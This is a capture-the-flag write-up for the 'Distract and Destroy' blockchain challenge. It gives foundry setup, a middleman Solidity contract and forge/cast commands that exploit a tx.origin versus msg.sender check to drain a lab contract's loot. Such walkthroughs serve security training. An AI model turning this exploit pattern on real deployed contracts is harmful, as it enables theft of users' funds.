CHALLENGE - DISTRACT AND DESTROY

IP: 94.237.57.59

Challenge Type: Blockchain

INSTALLATION

- In the zip downloaded there are two files `Setup.sol` and `Creature.sol`
- They are Solidity scripts. The first create the creature the second is the creature
- The goal is to attack the creature doing 1000 damage and then loot the victim
- First thing first, we need to install `foundry` tool to interact with the blockchain
- Go to https://book.getfoundry.sh/getting-started/installation
- This will install foundry along with Rust tools such as `cargo`
- To make use of foundry utils we need change the `PATH` variable

```
$ echo "export PATH=/home/{user}/.foundry/bin:$PATH" >> /home/{user}/.bashrc
$ source /home/{user}/.bashrc
```

- Notice that it is possible that current version of foundry mismatch the version of the challenge
- It this occurs you will need to install a specific version

```
$ echo "export PATH=/home/{user}/.cargo/bin:$PATH" >> /home/{user}/.bashrc
$ source /home/{user}/.bashrc
$ rustup default stable
$ foundryup -C cc5637a
```

SOLVING THE CHALLENGE

- Now, you are ready to take down the challenge
- First, we need to setup the environment
- Inside the folder output of the unzip on the Challenge Archive, run

```
$ forge init --force
$ mv Creature.sol Setup.sol src/
```

- Now, let's open the website `{IP}:{port}`
- There is one important tab named `Connection` which gives all the values

```
{
    "PrivateKey"    : "key",
    "Address"       : "our-address",
    "TargetAddress" : "target",
    "SetupAddress"  : "setup"
}
```

- Take note of this values, we will need it
- Here is a small explanation of what we need to do

> We need to attack the creature and remove 1000 HP. `Creature.sol` has two main functions `attack(uint256)` and `lott()`. For now, the most important one is `attack`. This is the source code of that function

```
function attack(uint256 _damage) external {
    if (aggro == address(0)) {
        aggro = msg.sender;
    }

    if (_isOffBalance() && aggro != msg.sender) {
        lifePoints -= _damage;
    } else {
        lifePoints -= 0;
    }
}
```

> As you can see the first time it is called it sets `aggro` to `msg.sender` which is the address that sent the message (call that procedure). Then it checks whether who is sent the message is also the transmitter, using the `_isOffBalance` function. It also checks whether the `aggro` is `msg.sender`. If the condition is true, the attack have success. In other words, the attack is successful if who sent the message is not the same that calls the procedure.

- To make the attack, we need to create a middleman that makes the attack
- This is the source code of a new file `Middle.sol` in the `src` folder.

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Creature} from "./Creature.sol";

contract Middle {
    Creature public creature;
```

```
    constructor (Creature _creature) {
        creature = _creature;
    }

    function f(uint256 _damage) external {
        creature.attack(_damage);
    }
}
```

- Now, we need to deploy the new smart contract using `forge`

```
$ forge create src/Middle.sol:Middle --private-key $key --rpc-url http://{IP}:{port}/rpc

...
Deployer: $our-address
Deployed to: $middle
...
```

- Now, we need to call the `attack` procedure given our address
- Essentially, we need `aggro` to be equal to `tx.origin`, or us.

```
$ cast send $target "attack(uint256)" 1000 --private-key $key \
    --rpc-url http://{IP}:{port}/rpc
```

- Now that `aggro = tx.origin`, or our address, we can call `f` of `Middle`
- Then Middle will call `attack` of the target
- However, since `msg.sender` is `Middle` but `aggro` is `tx.origin` (i.e. us), the attack is successful

```
$ cast send $middle "f(uint256)" 1000 --private-key $key \
    --rpc-url http://{IP}:{port}/rpc
```

- Finally, we can call the final method, i.e., `loot` to collect the loot

```
$ cast send $target "loot()" --private-key $key --rpc-url http://{IP}:{port}/rpc
```

- Visit the `http://{IP}:{port}/flag` page to obtain the flag